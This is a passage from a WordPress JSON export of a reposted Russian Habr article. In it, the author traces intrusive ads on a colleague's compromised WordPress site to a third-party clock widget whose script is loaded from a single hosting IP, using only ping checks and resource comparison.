\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0437\u0430\u043f\u0440\u043e\u0441. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0436\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c, \u043a\u0443\u0434\u0430 \u043e\u043d\u0438 \u0432\u0435\u0434\u0443\u0442. \u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443:  <\/p>\n<pre><code class=\"bash\">ping 28310.mytop.pp.ua PING 28310.mytop.pp.ua (188.64.174.25) 56(84) bytes of data. 64 bytes from h1net188-64-174-25.h1host.ru (188.64.174.25): icmp_seq=1 ttl=56 time=24.3 ms 64 bytes from h1net188-64-174-25.h1host.ru (188.64.174.25): icmp_seq=2 ttl=56 time=25.4 ms <\/code><\/pre>\n<p>  \u041a\u0430\u043a \u0432\u0438\u0434\u0438\u043c, \u044d\u0442\u043e\u0442 \u043f\u0438\u043d\u0433 \u0432\u0435\u0434\u0435\u0442 \u043d\u0430\u0441 \u043d\u0430 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 h1host.ru. \u0414\u043b\u044f \u043f\u0443\u0449\u0435\u0439 \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u043f\u0438\u043d\u0433 \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0434\u043e\u043c\u0435\u043d:  <\/p>\n<pre><code class=\"bash\">ping 28310.innet.pp.ua PING 28310.innet.pp.ua (188.64.174.25) 56(84) bytes of data. 64 bytes from h1net188-64-174-25.h1host.ru (188.64.174.25): icmp_seq=1 ttl=56 time=24.4 ms <\/code><\/pre>\n<p>  \u0421\u043d\u043e\u0432\u0430 \u044d\u0442\u043e\u0442 \u0436\u0435 \u0445\u043e\u0441\u0442\u0438\u043d\u0433. \u0414\u043b\u044f \u043e\u043a\u043e\u043d\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u044f \u0440\u0435\u0448\u0438\u043b \u0441\u0440\u0430\u0432\u043d\u0438\u0442\u044c \u0440\u0435\u0441\u0443\u0440\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u0444\u0443\u0442\u0435\u0440\u0435, \u0441 \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044f \u043f\u043e\u043b\u0443\u0447\u0443 \u043f\u043e \u0442\u0430\u043a\u043e\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443 188.64.174.25. \u0418 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u0431\u044b\u043b\u043e \u0432\u0441\u0435, \u0447\u0442\u043e \u0433\u0440\u0443\u0437\u0438\u0442\u0441\u044f \u0432 \u0440\u0435\u043a\u043b\u0430\u043c\u0435. \u0422\u043e\u0447\u043d\u043e \u0442\u0430\u043a \u0436\u0435 \u0431\u044b\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b \u0438 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u2014 \u0432\u0441\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442.<br \/>  \u0417\u043d\u0430\u0447\u0438\u0442 \u044d\u0442\u043e\u0442 IP \u0438 \u0435\u0441\u0442\u044c \u00ab\u043c\u043e\u0437\u0433\u043e\u043c\u00bb \u044d\u0442\u043e\u0439 \u0440\u0435\u043a\u043b\u0430\u043c\u044b.<\/p>\n<p>  \u041e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435, \u043a\u0430\u043a \u0436\u0435 \u0432\u0441\u0435-\u0442\u0430\u043a\u0438 \u043e\u0447\u0438\u0441\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u0441\u0430\u0439\u0442 \u043e\u0442 \u043f\u0440\u043e\u0434\u0435\u043b\u043e\u043a \u043a\u0443\u043b-\u0445\u0430\u0446\u043a\u0435\u0440\u043e\u0432?<br \/>  \u041f\u043e\u0441\u043b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0441\u0442\u0430\u043b\u043e \u044f\u0441\u043d\u043e \u043e\u0434\u043d\u043e \u2014 \u0432\u0440\u0435\u043c\u044f \u0434\u043b\u044f \u043f\u043e\u043a\u0430\u0437\u0430 \u0440\u0435\u043a\u043b\u0430\u043c\u044b \u043e\u043d \u0445\u0440\u0430\u043d\u0438\u0442 \u0432 \u043a\u0443\u043a\u0438\u0441\u0430\u0445, \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0434\u043e\u043c\u0435\u043d. \u0422\u0430\u043a\u0436\u0435 \u0441\u0442\u0430\u043b\u043e \u044f\u0441\u043d\u043e, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f Entry Point \u0440\u0435\u043a\u043b\u0430\u043c\u044b. \u0417\u0434\u0435\u0441\u044c \u0441\u043e\u0437\u0434\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u044b, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u044e\u0442\u0441\u044f \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438 \u0442.\u043f. \u0421\u043f\u043e\u0441\u043e\u0431 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043d\u0435 \u0432 footer&#8217;\u0435 template&#8217;\u0430, \u0430 \u043f\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0430 \u043d\u0430\u0448 188.64.174.25. \u042d\u0442\u043e\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0442\u0434\u0430\u0435\u0442 \u0447\u0438\u0441\u0442\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, \u043e\u0431\u0435\u0440\u043d\u0443\u0442\u044b\u0439 \u0432 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u0440\u0430\u0441\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0432\u0441\u0435 \u043f\u043e \u0441\u0432\u043e\u0438\u043c \u043c\u0435\u0441\u0442\u0430\u043c. \u0413\u0434\u0435 \u0436\u0435 \u043e\u043d \u0434\u0435\u043b\u0430\u0435\u0442 \u044d\u0442\u043e\u0442 \u0437\u0430\u043f\u0440\u043e\u0441?<\/p>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0434\u043e\u043b\u0433\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0434\u0443\u0442 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u044f \u043f\u0440\u0438\u0448\u0435\u043b \u043a \u0432\u044b\u0432\u043e\u0434\u0443, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e 2 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u00ab\u043f\u043e\u0434\u043e\u0437\u0440\u0435\u0432\u0430\u0435\u043c\u044b\u0445\u00bb \u2014 \u044d\u0442\u043e yandex-\u043c\u0435\u0442\u0440\u0438\u043a\u0430 (\u0434\u0430, \u044f \u043d\u0430 \u043d\u0435\u0435 \u0434\u0443\u043c\u0430\u043b) \u0438 \u043e\u0434\u0438\u043d \u0432\u0438\u0434\u0436\u0435\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u0438\u043b \u2014 \u0432\u0438\u0434\u0436\u0435\u0442 \u0441 101widgets.com. \u042f \u0441\u0440\u0430\u0437\u0443 \u0436\u0435 \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b \u0443\u0431\u0440\u0430\u0442\u044c \u044d\u0442\u0438 \u0447\u0430\u0441\u044b \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442, \u0431\u0443\u0434\u0435\u0442 \u043b\u0438 \u043f\u043e\u044f\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0440\u0435\u043a\u043b\u0430\u043c\u0430 \u0441\u043d\u043e\u0432\u0430. \u041f\u043e\u0441\u043b\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u043f\u0440\u043e\u0431 \u0441 \u0447\u0430\u0441\u0430\u043c\u0438 \u0438 \u0431\u0435\u0437, \u0447\u0435\u0440\u0435\u0437 \u0430\u043d\u043e\u043d\u0438\u043c\u0430\u0439\u0437\u0435\u0440\u044b \u0438 \u0442.\u043f. \u0431\u044b\u043b\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0437\u0430\u043a\u043e\u043d\u043e\u043c\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u2014 \u0447\u0430\u0441\u044b \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f EntryPoint \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0443\u0436\u0435 \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0440\u0435\u043a\u043b\u0430\u043c\u043d\u044b\u0439 \u0431\u0430\u043d\u043d\u0435\u0440.<\/p>\n<p>  \u0412\u044b\u0432\u043e\u0434: \u0445\u043e\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0438 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0431\u0430\u043d\u0430\u043b\u044c\u043d\u044b\u043c \u0438 \u0441\u043c\u0435\u0448\u043d\u044b\u043c, \u0431\u044b\u043b\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u0440\u0435\u0432\u0435\u0440\u0441\u0438\u0442\u044c \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0438 \u0441 \u0441\u0430\u043c\u043e\u0433\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u0434\u043e\u0439\u0442\u0438 \u0434\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0430\u043a\u0438\u0445 \u0440\u0435\u043a\u043b\u0430\u043c\u043d\u044b\u0445 \u043f\u043b\u043e\u0449\u0430\u0434\u043e\u043a. \u0412\u0438\u0434\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u043b \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0441\u0432\u043e\u0439 \u0445\u043e\u0441\u0442 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 188.64.174.25, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043e\u0442\u0434\u0430\u0432\u0430\u043b \u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0431\u0430\u043d\u043d\u0435\u0440\u0430.<\/p>\n<p>  P.S. \u0414\u043b\u044f \u043a\u043e\u0433\u043e-\u0442\u043e \u044d\u0442\u043e \u043f\u043e\u043a\u0430\u0436\u0435\u0442\u0441\u044f \u0431\u0430\u043d\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u044b\u043c, \u0430 \u043a\u043e\u0433\u043e-\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u0442\u044c \u0438 \u043f\u043e\u043c\u043e\u0447\u044c \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b.    \t<\/p>\n<div class=\"clear\"><\/div>\n<\/p><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/197178\/\"> http:\/\/habrahabr.ru\/post\/197178\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div class=\"content html_format\">   \t\u041f\u0440\u0438\u0432\u0435\u0442, \u0425\u0430\u0431\u0440!<\/p>\n<p>  \u041d\u0435\u0434\u0430\u0432\u043d\u043e \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0441\u044f \u0441 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0435\u0439 \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0430\u0439\u0442\u0430 \u043d\u0430 WordPress \u0443 \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u043b\u043b\u0435\u0433\u0438. \u041f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0440\u0435\u043a\u043b\u0430\u043c\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0430\u0434\u043e\u0435\u0434\u043b\u0438\u0432\u043e \u043f\u043e\u044f\u0432\u043b\u044f\u043b\u0430\u0441\u044c \u0432 \u0443\u0433\u043b\u0443 \u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043c\u0435\u0448\u0430\u043b\u0430 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u0435. \u0422\u0430\u043a\u0436\u0435 \u043d\u0435 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043d\u0435\u043b\u0438 WordPress, \u0441\u0442\u043e\u044f\u043b\u0430 HTTP-\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f. \u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u0431\u044b\u043b\u043e \u0440\u0435\u0448\u0435\u043d\u043e \u0443\u0431\u0440\u0430\u0442\u044c \u044d\u0442\u0443 HTTP-\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044e \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d\u043a\u0435. \u0415\u0441\u043b\u0438 \u0432\u0430\u0441 \u0437\u0430\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u043b\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0435\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433\u0430, \u043f\u0440\u043e\u0448\u0443 \u043f\u043e\u0434 \u043a\u0430\u0442.  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-197178","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/197178","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=197178"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/197178\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=197178"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=197178"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=197178"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}